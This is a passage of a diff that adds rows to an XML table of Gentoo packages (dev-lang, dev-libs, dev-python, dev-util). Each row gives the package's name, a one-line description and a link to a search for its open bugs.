+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23nqc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-lang/open-cobol">dev-lang/open-cobol</uri></ti>
+<ti>an open-source COBOL compiler</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23open-cobol">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-lang/orc">dev-lang/orc</uri></ti>
+<ti>The Oil Runtime Compiler</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23orc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-lang/pasm">dev-lang/pasm</uri></ti>
+<ti>A portable assembler for processors of the PowerPC family</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pasm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-lang/realbasic">dev-lang/realbasic</uri></ti>
+<ti>REALbasic is a powerful development tool for Mac, Windows and Linux</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23realbasic">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-lang/regina-rexx">dev-lang/regina-rexx</uri></ti>
+<ti>Portable Rexx interpreter</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23regina-rexx">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-lang/toluapp">dev-lang/toluapp</uri></ti>
+<ti>A tool to integrate C/C++ code with Lua.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23toluapp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/9libs">dev-libs/9libs</uri></ti>
+<ti>A package of Plan 9 compatibility libraries</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%239libs">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/beecrypt">dev-libs/beecrypt</uri></ti>
+<ti>general-purpose cryptography library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23beecrypt">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/btparse">dev-libs/btparse</uri></ti>
+<ti>A C library to parse Bibtex files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23btparse">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/cdk">dev-libs/cdk</uri></ti>
+<ti>A library of curses widgets</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cdk">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/cpl-stratego">dev-libs/cpl-stratego</uri></ti>
+<ti>Choice library mostly used by Stratego</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cpl-stratego">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/dclog">dev-libs/dclog</uri></ti>
+<ti>A logging library for C/C++ programs</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dclog">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/djb">dev-libs/djb</uri></ti>
+<ti>library created from code by Dan Bernstein</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23djb">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/eb">dev-libs/eb</uri></ti>
+<ti>EB is a C library and utilities for accessing CD-ROM books</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23eb">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/elfio">dev-libs/elfio</uri></ti>
+<ti>ELF (Executable and Linkable Format) reader and producer implemented as a C++ library.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23elfio">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/gdome2">dev-libs/gdome2</uri></ti>
+<ti>The DOM C library for the GNOME project</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gdome2">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/hashit">dev-libs/hashit</uri></ti>
+<ti>Generic hash library implemented in C which supports multiple collision handling methods.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23hashit">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/http-fetcher">dev-libs/http-fetcher</uri></ti>
+<ti>small, robust, flexible library for downloading files via HTTP using the GET method</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23http-fetcher">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/hyphen">dev-libs/hyphen</uri></ti>
+<ti>hyphenation library to use converted TeX hyphenation patterns</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23hyphen">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/legousbtower">dev-libs/legousbtower</uri></ti>
+<ti>The lego mindstorms usb tower headers and/or modules</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23legousbtower">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libaio">dev-libs/libaio</uri></ti>
+<ti>Asynchronous input/output library that uses the kernels native interface</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libaio">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libassetml">dev-libs/libassetml</uri></ti>
+<ti>use xml files as resource databases</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libassetml">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libbeagle">dev-libs/libbeagle</uri></ti>
+<ti>C and Python bindings for Beagle</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libbeagle">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libcli">dev-libs/libcli</uri></ti>
+<ti>Cisco-style (telnet) command-line interface library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libcli">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libconfig">dev-libs/libconfig</uri></ti>
+<ti>Libconfig is a simple library for manipulating structured configuration files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libconfig">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libelf">dev-libs/libelf</uri></ti>
+<ti>A ELF object file access library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libelf">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libgeier">dev-libs/libgeier</uri></ti>
+<ti>Libgeier provides a library to access the german digital tax project ELSTER.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libgeier">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libhash">dev-libs/libhash</uri></ti>
+<ti>a small hash library written in C</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libhash">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libhtmlparse">dev-libs/libhtmlparse</uri></ti>
+<ti>libhtmlparse is a HTML parsing library. It takes HTML tags, text, etc and calls callbacks you define for each type of token in the document.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libhtmlparse">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libidmef">dev-libs/libidmef</uri></ti>
+<ti>Implementation of the IDMEF XML draft</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libidmef">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libindicator">dev-libs/libindicator</uri></ti>
+<ti>A set of symbols and convience functions that all indicators would like to use</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libindicator">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/liblazy">dev-libs/liblazy</uri></ti>
+<ti>lib for D-Bus daemon messages, querying HAL or PolicyKit privileges</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23liblazy">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libmix">dev-libs/libmix</uri></ti>
+<ti>Programs Crypto/Network/Multipurpose Library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libmix">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libofx">dev-libs/libofx</uri></ti>
+<ti>Library to support the Open Financial eXchange XML Format</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libofx">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libole2">dev-libs/libole2</uri></ti>
+<ti>Library to manipulate OLE2 Structured Storage files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libole2">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/liboop">dev-libs/liboop</uri></ti>
+<ti>low-level event loop management library for POSIX-based operating systems</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23liboop">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libots">dev-libs/libots</uri></ti>
+<ti>Compaq's Optimized Runtime Library for the Alpha Platform</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libots">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libproccpuinfo">dev-libs/libproccpuinfo</uri></ti>
+<ti>architecture independent C API for reading /proc/cpuinfo</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libproccpuinfo">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libsmtp">dev-libs/libsmtp</uri></ti>
+<ti>A small C library that allows direct SMTP connections conforming to RFC 822</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libsmtp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libsqlora8">dev-libs/libsqlora8</uri></ti>
+<ti>libsqlora8 is a simple C-library to access Oracle databases via the OCI interface</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libsqlora8">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libtar">dev-libs/libtar</uri></ti>
+<ti>C library for manipulating tar archives</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libtar">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libtomcrypt">dev-libs/libtomcrypt</uri></ti>
+<ti>modular and portable cryptographic toolkit</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libtomcrypt">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libtomfloat">dev-libs/libtomfloat</uri></ti>
+<ti>library for floating point number manipulation</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libtomfloat">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libtommath">dev-libs/libtommath</uri></ti>
+<ti>highly optimized and portable routines for integer based number theoretic applications</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libtommath">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libtompoly">dev-libs/libtompoly</uri></ti>
+<ti>portable ISO C library for polynomial basis arithmetic</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libtompoly">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libtrain">dev-libs/libtrain</uri></ti>
+<ti>Library for calculating fastest train routes</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libtrain">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libtranslate">dev-libs/libtranslate</uri></ti>
+<ti>Library for translating text and web pages between natural languages.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libtranslate">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libunicode">dev-libs/libunicode</uri></ti>
+<ti>Unicode library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libunicode">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libx86">dev-libs/libx86</uri></ti>
+<ti>A hardware-independent library for executing real-mode x86 code</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libx86">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/libxls">dev-libs/libxls</uri></ti>
+<ti>A library which can read Excel (xls) files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libxls">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/log4sh">dev-libs/log4sh</uri></ti>
+<ti>A flexible logging framework for shell scripts</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23log4sh">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/mapm">dev-libs/mapm</uri></ti>
+<ti>Mike's Arbitrary Precision Math Library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mapm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/mini-xml">dev-libs/mini-xml</uri></ti>
+<ti>Small XML parsing library to read XML and XML-like data files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mini-xml">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/mm">dev-libs/mm</uri></ti>
+<ti>Shared Memory Abstraction Library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/mpatrol">dev-libs/mpatrol</uri></ti>
+<ti>A link library for controlling and tracing dynamic memory allocation. Attempts to diagnose run-time errors that are caused by misuse of dynamically allocated memory. Simple integration via a single header.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mpatrol">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/newt">dev-libs/newt</uri></ti>
+<ti>Redhat's Newt windowing toolkit development files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23newt">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/pakchois">dev-libs/pakchois</uri></ti>
+<ti>PaKChoiS - PKCS #11 wrapper library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pakchois">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/pcl">dev-libs/pcl</uri></ti>
+<ti>A library to provide low-level coroutines for in-process context switching</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pcl">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/quazip">dev-libs/quazip</uri></ti>
+<ti>A simple C++ wrapper over Gilles Vollant's ZIP/UNZIP package</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23quazip">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/rote">dev-libs/rote</uri></ti>
+<ti>A simple C library for VT102 terminal emulation</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rote">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/safestr">dev-libs/safestr</uri></ti>
+<ti>provide a standards compatible yet secure string implementation</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23safestr">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/shhopt">dev-libs/shhopt</uri></ti>
+<ti>library for parsing command line options</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23shhopt">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/syncdir">dev-libs/syncdir</uri></ti>
+<ti>Provides an alternate implementation for open, link, rename, and unlink</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23syncdir">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/tomsfastmath">dev-libs/tomsfastmath</uri></ti>
+<ti>portable fixed precision math library geared towards doing one thing very fast</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tomsfastmath">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/ucl">dev-libs/ucl</uri></ti>
+<ti>UCL: The UCL Compression Library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ucl">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/vrb">dev-libs/vrb</uri></ti>
+<ti>Library for a virtual ring buffer</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23vrb">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/xapian">dev-libs/xapian</uri></ti>
+<ti>Xapian Probabilistic Information Retrieval library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xapian">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-libs/xxl">dev-libs/xxl</uri></ti>
+<ti>C/C++ library that provides exception handling and asset management</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xxl">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-python/PyQrcodec">dev-python/PyQrcodec</uri></ti>
+<ti>PyQrCodec is a Python module for encoding and decoding QrCode images.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23PyQrcodec">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-python/colubrid">dev-python/colubrid</uri></ti>
+<ti>Colubrid is a set of tools around the WSGI standard.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23colubrid">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-python/skype4py">dev-python/skype4py</uri></ti>
+<ti>Python wrapper for the Skype API.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23skype4py">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/as11">dev-util/as11</uri></ti>
+<ti>Motorola's AS11 Assembler for the 68HC11</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23as11">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/bcpp">dev-util/bcpp</uri></ti>
+<ti>Indents C/C++ source code</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bcpp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/biew">dev-util/biew</uri></ti>
+<ti>A portable viewer of binary files, hexadecimal and disassembler modes.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23biew">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/btyacc">dev-util/btyacc</uri></ti>
+<ti>Backtracking YACC - modified from Berkeley YACC</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23btyacc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/bunny">dev-util/bunny</uri></ti>
+<ti>A small general purpose fuzzer for C programs.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bunny">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/byacc">dev-util/byacc</uri></ti>
+<ti>the best variant of the Yacc parser generator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23byacc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/cccc">dev-util/cccc</uri></ti>
+<ti>A code counter for C and C++</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cccc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/ccmalloc">dev-util/ccmalloc</uri></ti>
+<ti>A easy-to-use memory debugging library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ccmalloc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/cloc">dev-util/cloc</uri></ti>
+<ti>Count Lines of Code</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cloc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/cocom">dev-util/cocom</uri></ti>
+<ti>Toolset to help create compilers, cross-compilers, interpreters, and other language processors</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cocom">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/cproto">dev-util/cproto</uri></ti>
+<ti>Generate C function prototypes from C source code</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cproto">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/devel-chroots">dev-util/devel-chroots</uri></ti>
+<ti>Gentoo Developer chroots installation/configuration</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23devel-chroots">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/dmake">dev-util/dmake</uri></ti>
+<ti>Improved make</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dmake">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/egypt">dev-util/egypt</uri></ti>
+<ti>devilishly simple tool for creating call graphs of C programs</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23egypt">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/elfsh">dev-util/elfsh</uri></ti>
+<ti>scripting language to modify ELF binaries</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23elfsh">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/filepp">dev-util/filepp</uri></ti>
+<ti>a generic file preprocessor with a CPP-like syntax.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23filepp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/flawfinder">dev-util/flawfinder</uri></ti>
+<ti>Examines C/C++ source code for security flaws</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23flawfinder">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/ftnchek">dev-util/ftnchek</uri></ti>
+<ti>Static analyzer a la 'lint' for Fortran 77</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ftnchek">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/ghh">dev-util/ghh</uri></ti>
+<ti>a tool to track the history and make backups of your home directory</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ghh">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/gperf">dev-util/gperf</uri></ti>
+<ti>A perfect hash function generator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gperf">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/httpup">dev-util/httpup</uri></ti>
+<ti>synchronisation tool for http file repositories</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23httpup">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/huc">dev-util/huc</uri></ti>
+<ti>HTML umlaut conversion tool</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23huc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/hxd">dev-util/hxd</uri></ti>
+<ti>Binary to hexadecimal converter</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23hxd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/injectso">dev-util/injectso</uri></ti>
+<ti>Inject shared libraries into running processes under Solaris and Linux</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23injectso">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/kdoc">dev-util/kdoc</uri></ti>
+<ti>C++ and IDL Source Documentation System</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23kdoc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/ketchup">dev-util/ketchup</uri></ti>
+<ti>tool for updating or switching between versions of the Linux kernel source</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ketchup">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/linklint">dev-util/linklint</uri></ti>
+<ti>a Perl program that checks links on web sites.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23linklint">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/lockrun">dev-util/lockrun</uri></ti>
+<ti>Lockrun - runs cronjobs with overrun protection</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23lockrun">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/memprof">dev-util/memprof</uri></ti>
+<ti>MemProf - Profiling and leak detection</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23memprof">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/min-cscope">dev-util/min-cscope</uri></ti>
+<ti>Interactively examine a C program</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23min-cscope">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/mock">dev-util/mock</uri></ti>
+<ti>Mock creates chroots and builds packages in them for Fedora and RedHat.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mock">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/osdt">dev-util/osdt</uri></ti>
+<ti>tools for Open Source software distribution</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23osdt">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/par">dev-util/par</uri></ti>
+<ti>par manipulates PalmOS database files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23par">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/pbuilder">dev-util/pbuilder</uri></ti>
+<ti>personal package builder for Debian packages</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pbuilder">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/dev-util/pccts">dev-util/pccts</uri></ti>
+<ti>Purdue Compiler Construction Tool Set is an embedded C/C++ parser generator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pccts">Open Bugs</uri></ti></tr>
